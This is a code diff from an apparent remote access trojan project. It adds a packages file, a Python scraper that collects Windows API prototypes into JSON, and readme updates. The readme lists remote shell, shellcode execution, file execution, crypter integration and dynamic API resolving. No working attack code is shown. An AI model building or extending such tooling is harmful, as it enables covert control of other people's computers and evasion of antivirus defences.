 </Project>

Server/packages.config

@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="utf-8"?>
+<packages>
+  <package id="Microsoft.Bcl.AsyncInterfaces" version="8.0.0" targetFramework="net48" />
+  <package id="System.Buffers" version="4.5.1" targetFramework="net48" />
+  <package id="System.Memory" version="4.5.5" targetFramework="net48" />
+  <package id="System.Numerics.Vectors" version="4.5.0" targetFramework="net48" />
+  <package id="System.Runtime.CompilerServices.Unsafe" version="6.0.0" targetFramework="net48" />
+  <package id="System.Text.Encodings.Web" version="8.0.0" targetFramework="net48" />
+  <package id="System.Text.Json" version="8.0.4" targetFramework="net48" />
+  <package id="System.Threading.Tasks.Extensions" version="4.5.4" targetFramework="net48" />
+  <package id="System.ValueTuple" version="4.5.0" targetFramework="net48" />
+</packages>

data/get_winapis.py

@@ -0,0 +1,53 @@
+import requests
+from bs4 import BeautifulSoup
+from urllib.parse import urlparse
+from urllib.parse import parse_qs
+import json
+
+url = f"https://www.gladir.com/CODER/CWINDOWS/apiwinprototypes.htm"
+r = requests.get(url)
+
+if r.status_code != 200 and r.status_code != 202 :
+    print(f"Code != 200: {r.status_code}")
+    exit(0)
+
+html = r.text
+
+soup = BeautifulSoup(html, 'html.parser')
+table = soup.find('table', {'class': 'ListCoder'})
+
+functions_list = []
+for row in table.find_all('tr')[1:]:
+    cells = row.find_all('td')
+    
+    # Function name
+    function_name = cells[0].text.strip()
+
+    # Prototype
+    prototype = cells[1].text.strip()
+    
+    # Extract arguments types
+    arguments = []
+    if '(' in prototype:
+        args_string = prototype.split('(')[1].split(')')[0].strip()
+        if args_string:
+            args = args_string.split(',')
+            for arg in args:
+                arg_type = ' '.join(arg.strip().split()[:-1])
+                arguments.append(arg_type)
+
+    # DLL name
+    dll_name = cells[2].text.strip()
+
+    # Add the function to the list
+    functions_list.append({
+        'function_name': function_name,
+        'arguments': arguments,
+        'dll_name': dll_name,
+        'full_prototype': prototype.replace("\n", "").replace("\r", "").replace("\t", "")
+    })
+
+json_output = json.dumps(functions_list, ensure_ascii=False, indent=4)
+with open("win_apis.json", "w") as f :
+    f.write(json_output)
+print(json_output)

readme.md

@@ -9,9 +9,10 @@ A very simple RAT I created for fun.<br>
 * File explorer (download/upload/remove/execute)
 * Shellcode execution
 * Server builder supports [patate-crypter](https://github.com/ALittlePatate/patate-crypter) inetgration
+* [pasm](https://github.com/ALittlePatate/patate-crypter) integration in the agent
 
 ## Characteristics
-* Small (17ko) (can go lower)
+* Small (26ko)
 * Made in C, no CRT
 * x32 bit
 * Dynamic API resolving
@@ -32,11 +33,15 @@ A very simple RAT I created for fun.<br>
 * Can build the client
 * File explorer GUI (upload/download/remove/execute)
 * Remote shell GUI
+* PASM code editor
 
 <details open>
 <summary>TODO</summary>
 
 * Dark theme
+* colors in IDE
+* lines number in IDE
+* close warning in IDE
 * Plugins support
 </details>
 
@@ -45,3 +50,4 @@ A very simple RAT I created for fun.<br>
 ![Alt text](Screenshots/builder.png "builder")
 ![Alt text](Screenshots/shell.png "shell")
 ![Alt text](Screenshots/fex.png "file explorer")
+![Alt text](Screenshots/pasm_editor.png "pasm editor")